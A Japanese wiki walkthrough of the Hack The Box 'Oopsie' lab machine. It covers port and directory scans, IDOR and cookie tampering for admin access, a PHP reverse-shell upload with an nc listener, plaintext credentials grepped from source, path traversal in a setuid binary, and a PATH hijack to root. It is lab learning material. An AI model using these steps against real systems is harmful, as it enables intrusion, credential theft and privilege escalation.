HTB_Oopsle - meruneru/tech_memo GitHub Wiki
イントロのマシン
前半ではBurpSuiteを使ってシェルを取るまで試行錯誤をして、
後半では、サーバ側のPHPプログラムをgrepしてパスワードを取得して、
idコマンドでそのアカウントが実行できるプログラムを探って、
rootファイルを取得するマシン。
gobusterではアカウントの権限的にアクセスが限定されていて見えないファイルが色々あって、部分的な情報しか得られないこともあることを学んだ。
#ポート22 は #ssh #ポート80 は #httpd
mq$ nmap -sV -sC -Pn 10.129.46.211
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-19 08:34 EST
Nmap scan report for 10.129.46.211
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.36 seconds
/uploadsが使えそう。
それ以外は特に無さそう。
$ gobuster dir -u http://10.129.46.211 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.46.211
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/19 08:47:08 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 315] [--> http://10.129.46.211/images/]
/themes (Status: 301) [Size: 315] [--> http://10.129.46.211/themes/]
/uploads (Status: 301) [Size: 316] [--> http://10.129.46.211/uploads/]
/css (Status: 301) [Size: 312] [--> http://10.129.46.211/css/]
/js (Status: 301) [Size: 311] [--> http://10.129.46.211/js/]
Progress: 2206 / 87665 (2.52%) [ERROR] 2021/11/19 08:48:13 [!] Get "http://10.129.46.211/webdesign": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/fonts (Status: 301) [Size: 314] [--> http://10.129.46.211/fonts/]
Progress: 3458 / 87665 (3.94%) [ERROR] 2021/11/19 08:48:49 [!] Get "http://10.129.46.211/re": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 3530 / 87665 (4.03%) [ERROR] 2021/11/19 08:48:52 [!] Get "http://10.129.46.211/gry": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 4495 / 87665 (5.13%) [ERROR] 2021/11/19 08:49:21 [!] Get "http://10.129.46.211/zone": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 9198 / 87665 (10.49%) [ERROR] 2021/11/19 08:51:23 [!] Get "http://10.129.46.211/nevada": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 9961 / 87665 (11.36%) [ERROR] 2021/11/19 08:51:43 [!] Get "http://10.129.46.211/1953": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 11037 / 87665 (12.59%) [ERROR] 2021/11/19 08:52:14 [!] Get "http://10.129.46.211/oig": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 11702 / 87665 (13.35%) [ERROR] 2021/11/19 08:52:35 [!] Get "http://10.129.46.211/Oct": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14187 / 87665 (16.18%) [ERROR] 2021/11/19 08:53:41 [!] Get "http://10.129.46.211/icon_4": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14395 / 87665 (16.42%) [ERROR] 2021/11/19 08:53:50 [!] Get "http://10.129.46.211/3900": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 18544 / 87665 (21.15%) [ERROR] 2021/11/19 08:55:40 [!] Get "http://10.129.46.211/lightboxFullView": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 18592 / 87665 (21.21%) [ERROR] 2021/11/19 08:55:42 [!] Get "http://10.129.46.211/dcFlag": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 19390 / 87665 (22.12%) [ERROR] 2021/11/19 08:56:07 [!] Get "http://10.129.46.211/jet": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 20733 / 87665 (23.65%) [ERROR] 2021/11/19 08:56:46 [!] Get "http://10.129.46.211/spr": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 23618 / 87665 (26.94%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/11/19 08:58:02 Finished
===============================================================
BurpSuiteのTarget->SiteMapを見るとlogincdn-cgi/loginという場所があることがわかる。
http://10.129.41.80/cdn-cgi/login
ログインのID/Passは不明だが、ゲストとしてログインできる。 Uploadsというタブを見ると、adminのみが使用できる機能のようだ。
Firefoxのデバッガーでクッキーを確認してみると、
role: guest user:2233となっている。
ただ、adminのuser IDがわからない。
http://10.129.41.80/cdn-cgi/login/admin.php?content=accounts&id=2のidを1にすると、
adminの情報が得られた。
| AccessID | Name | |
|---|---|---|
| 34322 | admin | [email protected] |
上記をもとにクッキーを変更すると、アップロード画面に遷移できた。
phpのリバースシェルを使う。
/usr/share/webshells/php/php-reverse-shell.phpにあるファイルを使う。
上記ファイルのIP/portを自身のIPと適当なポートにして アップロードする。
Attacker側でncを使ってリッスンしておいて、下記URLにアクセスして、
リバースシェルを取ることができる。
http://10.129.41.80/uploads/php-reverse-shell.php
使いやすいシェルにするために下記を実行すると良い。
python3 -c'import pty;pty.spawn("/bin/bash")'
$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981
エスカレーションする方法を探す。 現状、サーバの中を自由に歩けるようになったが、管理者権限は得られていない。
サーバ側はPHPプログラムである。 パスワードが平文で管理されていれば、プログラムコードを見ればパスワードが分かるのではないか? という推測の元、コードを探すと見つかった。
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat * | grep pass
cat * | grep pass
if($_POST["username"]==="admin" && $_POST["password"]==="MEGACORP_4dm1n!!")
<input type="password" name="password" placeholder="Password" />
システム上で有効なユーザー名は下記で確認できる。 adminは無さそうだ。 ただ、robertはある。
$ cat /etc/passwd
robert:x:1000:1000:robert:/home/robert:/bin/bash
robertにログインを試みるもNG。
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: MEGACORP_4dm1n!!
su: Authentication failure
robertをgrepすると、パスワードが平文で見つかり、 これでログインできる。
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat * | grep robert
cat * | grep robert
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!
robert@oopsie:/var/www/html/cdn-cgi/login$ ls /root
ls /root
ls: cannot open directory '/root': Permission denied
ただ、まだroot権限は得られていない。 robertのid情報を見てみると、 bugtrackerグループに属していることがわかる。
robert@oopsie:/var/www/html/cdn-cgi/login$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
robert@oopsie:/var/www/html/cdn-cgi/login$ which bugtracker
which bugtracker
/usr/bin/bugtracker
/usr/binにはパスが通っているので、
bugtrackerを実行してみる。
/root/reports/配下のファイルをcatする挙動なので、
1階層上にあるだろうroot.txtを出力してみるとFlagが得られた。
robert@oopsie:/var/www/html/cdn-cgi/login$ bugtracker
bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 11
11
---------------
cat: /root/reports/11: No such file or directory
robert@oopsie:~$ bugtracker
bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: ../root.txt
../root.txt
---------------
af13b0bee69f8a877c3faf667f7beacf
bugtracker内部でcatコマンドを使っているため、
/bin/shをcatファイルというファイル名にして、/tmpに配置して、パスを通して、カレントディレクトリを/tmpに置いてbugtrackerを実装していた。
bugtracker内部でcatを実行すると、/bin/shを実行したことになり管理者権限を得ることができていた。